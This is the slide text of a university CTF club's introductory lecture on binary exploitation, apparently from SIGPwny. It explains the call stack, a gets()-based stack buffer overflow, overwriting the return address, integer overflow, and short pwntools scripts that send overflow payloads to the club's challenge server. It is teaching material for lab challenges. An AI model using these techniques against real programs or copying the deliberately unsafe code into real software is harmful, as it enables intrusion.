




FA2025 • 2025-10-12

Suchit and Akhil

ctf.sigpwny.com

sigpwny{AAAAAAAABBBBBBBBCCCCCCCC}





What is PWN?

- More descriptive term: binary exploitation
- Exploits that abuse the mechanisms behind how compiled code is executed
 - Dealing with what the CPU actually sees and executes on or near the hardware level
- Most modern weaponized/valuable exploits fall under this category
- This is real stuff!!
 - Corollary: this is hard stuff. Ask for help, or if you don't need help, help your neighbors:)



Memory Overview

- Programs are just a bunch of numbers ranging from 0 to 255 (bytes)
- - Think of it as a massive array/list
- Bytes in a program serves one of two purposes
 - Instructions: tells the processor what to do
 - Data: has some special meaning, used by the instructions
 - Examples: part of a larger number, a letter, a memory address



Memory Layout

Lowest address (0x0000000000000000)

Memory Region

.text
(instructions)

.data
(initialized
 globals)

.bss
(uninitialized
 globals)


heap

stack
(runtime data)

Highest address (0xFFFFFFFFFFF)



Memory Layout





The Stack



Calling Functions

```
method_1(a, b, c);
```



Calling Functions (Call Stack)





Calling Functions (Call Stack)



Calling Functions (call Instruction)

Instruction Pointer (%rip) → method_1(a, b, c);




Calling Functions (enter/Prologue)



Calling Functions (enter/Prologue)




Calling Functions (Execution)



The stack

Calling Functions (Execution)



The stack


Calling Functions (leave/Epilogue)



Calling Functions (leave/Epilogue)



Calling Functions (ret Instruction)



Calling Functions (Summary)



Saved Base Pointer

8 bytes

Return Address

...Prior Stack Data

Low Address

Stack grows to lower address

High Address

The stack



Smashing the Stack



The Stack

```
void vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[8];
   char stack_var_2[8];
   gets(stack_var_2);
   puts(stack_var_1);
int main() {
   vulnerable();
```

```
stack_var_1

Saved Base Pointer

Return Address (inside main in .text)
```



Dangerous Function of the Day: gets()

- Writes letters typed by user into address provided
- But memory stores numbers, not letters!
 - ASCII: maps from bytes (aka numbers 0-255) to letters
 - gets actually reads arbitrary bytes, not just ones that map to letters
- Danger: writes as much input you provide it
 - In C, memory is always allocated in fixed numbers of bytes
 - What if we write more than is allocated at the provided address?

People did not realize this in the 90s

```
DESCRIPTION top

Never use this function.

gets() reads a line from stdin into the buffer pointed to by s
until either a terminating newline or EOF, which it replaces with
a null byte ('\0'). No check for buffer overrun is performed
(see BUGS below).
```



```
void vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[8];
   char stack_var_2[8];
   gets(stack_var_2);
   puts(stack_var_1);
}
```

```
> ./vulnerable
Say Something!
```

```
stack_var_2[8]

stack_var_1[8]

Saved Base Pointer

Return Address
```



```
void vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[8];
   char stack_var_2[8];
   pets(stack_var_2);
   puts(stack_var_1);
}
```

```
stack_var_2[8]

stack_var_1[8]

Saved Base Pointer

Return Address
```



```
void vulnerable() {
    puts("Say Something!\n");
    char stack_var_1[8];
    char stack_var_2[8];
    gets(stack_var_2);
    puts(stack_var_1);
}
```

```
stack_var_2[8]

stack_var_1[8]

Saved Base Pointer

Return Address
```



```
void vulnerable(void) {
   puts("Say Something!\n");
   char stack_var_1[8];
   char stack_var_2[8];

   gets(stack_var_2);
   puts(stack_var_1);
}
```

```
stack_var_2[8]

stack_var_1[8]

Saved Base Pointer

Return Address
```



```
void vulnerable(void) {
   puts("Say Something!\n");
   char stack_var_1[8];
   char stack_var_2[8];
   pets(stack_var_2);
   puts(stack_var_1);
}
```





```
void vulnerable(void) {
   puts("Say Something!\n");
   char stack_var_1[8];
   char stack_var_2[8];
   gets(stack_var_2);
   puts(stack_var_1);
}
```





The Return Address

- Every time you call a function, you go to a new block of code
- Where do you go when your done executing it?
- Calling a function stores a "return address" on the stack
 - The address of the code to execute after the current function

```
void vulnerable(void) {
   puts("Say Something!\n");
   char stack_var_1[8];
   char stack_var_2[8];
   gets(stack_var_2);
   puts(stack_var_1);
}

int main() {
   vulnerable();
   puts("Hi!"); //Instruction at 0x1004
}
```

```
stack_var_2
stack_var_1
Saved Base Pointer
0x1004
```



Redirect Code Flow

```
> ./vulnerable
Say Something!
AAAAAAABBBBBBBBB\x32\x42\x04\x08\x0
0\x00\x00\x00
```

Note: you can't type these characters directly!

```
stack_var_1[8]
Saved Base Pointer
  Return Address
```



Redirect Code Flow

```
> ./vulnerable
Say Something!
AAAAAAABBBBBBBBB\x32\x42\x04\x08\x0
0\x00\x00\x00
```

Note: you can't type these characters directly!





Integer Overflows

- Safe input functions limit the number of characters they read
- Like all things in C, integers are stored in a fixed number of bytes
 - There is a maximum number they can store: for int, this is 2³¹-1
 - If you go past that, it wraps around!
 - This fact is often used to still achieve buffer overflows in modern program

```
void main() {
    printf("%d", 12345678*9876543210);
}
Output: -366107316
```



Delivering Your Exploit



Little Endianness

- Numbers are little endian in x86-64
 - The **least significant** ("little") byte is stored **first** (at lowest memory address)
- 0x1122334455667788 is stored in memory as
- 88 77 66 55 44 33 22 11

```
Low High
```



Getting function addresses

```
With objdump:
> objdump -d chal | grep "<main>:"
00000000004011ce <main>:
Or with GDB:
> gdb ./chal
> i addr main
Symbol "main" is at 0x4011ce in a file compiled without debugging.
Or with Ghidra:
by inspection
```



echo

- "echoes" your input
- Enable escape codes: echo -e ...
 - \xNN -> 0xNN
- Can only be used if your exploit is the same every time

```
> echo -e '\x01\x02\x03\x04' | ./chal
> echo -e '\x01\x02\x03\x04' | nc ...
```



Pwntools

```
from pwn import *
# Connect to sigpwny server
conn = remote('chal.sigpwny.com', 1337)
# Read first line
print(conn.recvline())
# Write exploit
conn.sendline('A' * 8)
# Interactive (let user take over)
conn.interactive()
```

> python3 -m pip install pwntools



Pwntools

```
from pwn import *
conn = remote(...)
# Address of win function
WIN ADDR = 0 \times 0804aabb
# Overflow stack
exploit = b'A' * 8
# Push win address after overflow
# p64(number) is a pwntools function that converts the
# number WIN_ADDR to a proper little-endian address
exploit += p64(WIN ADDR)
# Send exploit
conn.sendline(exploit)
conn.interactive()
```



Pwntools Local

```
from pwn import *
conn = process('./path/to/file')
# Must be in a terminal with multiplexing! (e.g. tmux)
# conn = gdb.debug('./path/to/file')
pause()
gdb.attach(conn)
exploit = b'A'*16
conn.sendline(exploit)
conn.interactive()
```



Pwntools Cheat Sheet

```
conn.recvline()/recvn(8)/recvuntil("> ")
- conn.sendline()/send()/sendlineafter("> ",b'...')
- p64(0x0011223344556677), p32(0x00112233)
- ELF("/path/to/file")
  - Allows you to load addresses directly!
    exe = ELF('./chal')
    payload += exe.symbols['main']
 context.terminal = ['tmux', 'splitw', '-f', '-h']
```



Challenges

- Integer overflow
- Bug Bounty 1-6
 - Bug Bounty 5 requires knowledge of shellcode
 - Bug Bounty 6 requires knowledge of format string vulnerabilities
 - Both will be covered in PWN II
- pwnymart
- Bug Bounty 1-4 print a visualization of the stack
 - Bug Bounty 5, 6 (and most pwn chals in ctfs) won't do this use gdb instead!



Next Meetings

2025-10-16 • This Thursday

- Cryptography I
- Learn the basics of cryptography, including ciphers, symmetric encryption, and more!

2025-10-19 • Next Sunday

- Pwn II
- Learn more advanced binary exploitation techniques.



ctf.sigpwny.com

sigpwny{AAAAAAAABBBBBBBBCCCCCCCC}

Meeting content can be found at sigpwny.com/meetings.

